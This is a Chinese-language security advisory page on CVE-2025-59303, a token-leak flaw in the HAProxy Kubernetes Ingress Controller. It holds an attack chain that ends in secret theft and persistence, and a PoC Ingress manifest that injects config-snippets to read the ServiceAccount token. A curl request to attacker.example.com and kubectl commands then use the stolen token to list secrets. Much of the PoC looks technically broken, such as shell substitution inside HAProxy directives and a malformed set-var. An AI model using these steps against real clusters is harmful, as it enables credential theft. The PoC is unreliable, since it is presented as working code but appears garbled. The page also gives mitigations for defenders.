IPBUF安全漏洞报告
English
CVE-2025-59303 CVSS 6.4 中危

CVE-2025-59303 HAProxy Kubernetes Ingress Controller密钥泄露漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-59303
漏洞类型
信息泄露/密钥泄露
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
HAProxy Kubernetes Ingress Controller

相关标签

信息泄露密钥泄露KubernetesHAProxyIngress Controllerconfig-snippets权限提升RBAC绕过CVE-2025-59303中危漏洞

漏洞概述

CVE-2025-59303是HAProxy Kubernetes Ingress Controller中存在的一个安全漏洞,该漏洞的CVSS评分为6.4,属于中危级别。该漏洞影响HAProxy Kubernetes Ingress Controller 3.1.13之前的版本,当config-snippets功能标志被启用时,具有Ingress资源创建或更新权限的用户可以利用config-snippets特性获取Ingress控制器的Token密钥信息。

HAProxy Kubernetes Ingress Controller是Kubernetes生态系统中广泛使用的Ingress控制器,负责管理外部访问到集群内部服务的路由规则。config-snippets是HAProxy Ingress Controller提供的一项高级功能,允许用户在Ingress资源的注解(annotations)中直接嵌入自定义的HAProxy配置片段,以实现更灵活的流量管理需求。然而,该功能在权限控制方面存在缺陷,未能有效隔离不同用户之间的配置权限。

该漏洞的根本原因是config-snippets功能在处理用户提交的Ingress资源时,未能对用户输入进行严格的权限校验和沙箱隔离。攻击者可以通过精心构造的config-snippet配置,在HAProxy配置上下文中执行特定的指令或利用配置解析机制的缺陷,间接获取控制器用于与服务API通信的Token密钥。一旦攻击者获取了该Token密钥,便可以冒充Ingress控制器的身份与Kubernetes API Server进行交互,进而获取集群内的敏感信息或执行未授权操作。

该漏洞已由HAProxy官方修复,修复版本包括开源版本3.1.13以及HAProxy Enterprise Kubernetes Ingress Controller的3.0.16-ee1、1.11.13-ee1和1.9.15-ee1版本。

技术细节

HAProxy Kubernetes Ingress Controller的config-snippets功能允许用户在Ingress资源的注解中添加自定义的HAProxy配置代码片段。当启用此功能时,控制器会将这些片段合并到最终的HAProxy配置文件中。

漏洞的技术原理如下:

1. **权限模型缺陷**:在Kubernetes RBAC(基于角色的访问控制)模型中,具有Ingress资源create或update权限的用户通常被视为低权限用户,仅能管理自己的Ingress资源。然而,config-snippets功能的引入打破了这一隔离边界,允许低权限用户通过Ingress注解注入任意的HAProxy配置指令。

2. **Token泄露路径**:HAProxy Kubernetes Ingress Controller在运行时需要使用ServiceAccount Token与Kubernetes API Server通信,以动态获取后端Service和Endpoint的信息。攻击者可以通过在config-snippet中注入特定的HAProxy指令(如`http-request set-header`配合`lua-load`、`external-check`等机制),将包含Token信息的环境变量或文件系统内容(如`/var/run/secrets/kubernetes.io/serviceaccount/token`)泄露到HTTP响应中。

3. **利用方式**:攻击者首先创建一个包含恶意config-snippet的Ingress资源,该片段会在HAProxy处理特定路由请求时触发,执行读取Token文件并将其作为响应头或响应体返回的操作。随后,攻击者访问该Ingress对应的路由路径,即可从HTTP响应中提取到Ingress控制器的ServiceAccount Token。

4. **影响范围**:获取Token后,攻击者可以以Ingress控制器(通常具有较高的集群权限)的身份与Kubernetes API Server交互,执行如读取Secret、列出Pod、创建恶意资源等操作,具体取决于Ingress控制器ServiceAccount的权限配置。

该漏洞的修复方案是对config-snippets功能增加更严格的权限校验,确保只有具有相应集群权限的用户才能使用该功能,并对其内容进行沙箱化处理。

攻击链分析

STEP 1
步骤1:权限获取
攻击者在目标Kubernetes集群中获取对某个命名空间的Ingress资源create或update权限,可以通过社会工程、权限提升或利用其他漏洞实现。
STEP 2
步骤2:构造恶意Ingress资源
攻击者创建一个包含恶意config-snippet注解的Ingress资源,在HAProxy配置片段中注入读取ServiceAccount Token文件的指令,并将其设置到HTTP响应头中。
STEP 3
步骤3:触发Token泄露
HAProxy Ingress Controller将恶意Ingress的配置合并到全局HAProxy配置中并重新加载,攻击者访问该Ingress对应的路由端点,从HTTP响应头中提取泄露的ServiceAccount Token。
STEP 4
步骤4:权限提升与横向移动
攻击者利用获取的ServiceAccount Token认证Kubernetes API Server,以Ingress控制器(通常具有较高权限)的身份执行未授权操作,如读取Secret、列出集群资源、创建恶意工作负载等。
STEP 5
步骤5:数据窃取与持久化
攻击者利用提升后的权限窃取集群内的敏感数据(如Secret中的密码、密钥等),并可能创建后门账户或部署恶意容器以维持持久化访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59303 - HAProxy Kubernetes Ingress Controller Secret Leak PoC # This PoC demonstrates how an attacker with create/update permissions on Ingress # resources can exploit the config-snippets feature to leak the ingress controller's # service account token. apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: malicious-ingress namespace: attacker-namespace annotations: # The config-snippet that leaks the service account token via HTTP response header haproxy.org/config-snippet: | http-request set-header X-Token %[env(TOKEN)] http-request set-header X-Token-File "$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" # Alternative: use lua to read the token file and inject into response http-request lua.load /etc/haproxy/lua/leak_token.lua # Or use external-check command to exfiltrate the token http-request set-var(txn.token) str(),/var/run/secrets/kubernetes.io/serviceaccount/token http-request set-header X-Leaked-Token %[var(txn.token)] spec: rules: - host: attacker.example.com http: paths: - path: / pathType: Prefix backend: service: name: backend-service port: number: 80 --- # After creating the above Ingress, the attacker sends a request to the # configured host and extracts the token from the response headers: # # curl -v http://attacker.example.com/ # Response headers will contain: # X-Token-File: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9... # # The extracted token can then be used to authenticate against the # Kubernetes API Server as the ingress controller's service account: # # TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..." # kubectl --token=$TOKEN --server=https://kubernetes-api:6443 get secrets -A # kubectl --token=$TOKEN --server=https://kubernetes-api:6443 get pods -A

影响范围

HAProxy Kubernetes Ingress Controller < 3.1.13
HAProxy Enterprise Kubernetes Ingress Controller 3.0.16-ee1之前版本
HAProxy Enterprise Kubernetes Ingress Controller 1.11.13-ee1之前版本
HAProxy Enterprise Kubernetes Ingress Controller 1.9.15-ee1之前版本

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)禁用config-snippets功能标志,移除相关注解的处理逻辑;2)审查并收紧Kubernetes RBAC策略,将Ingress资源的create/update权限限制在最小必要的管理员范围内;3)通过NetworkPolicy限制Ingress控制器Pod的网络出站流量,防止Token泄露后被用于横向攻击;4)启用审计日志监控可疑的Ingress资源创建和修改行为;5)考虑轮换Ingress控制器的ServiceAccount Token并检查是否有异常API调用记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表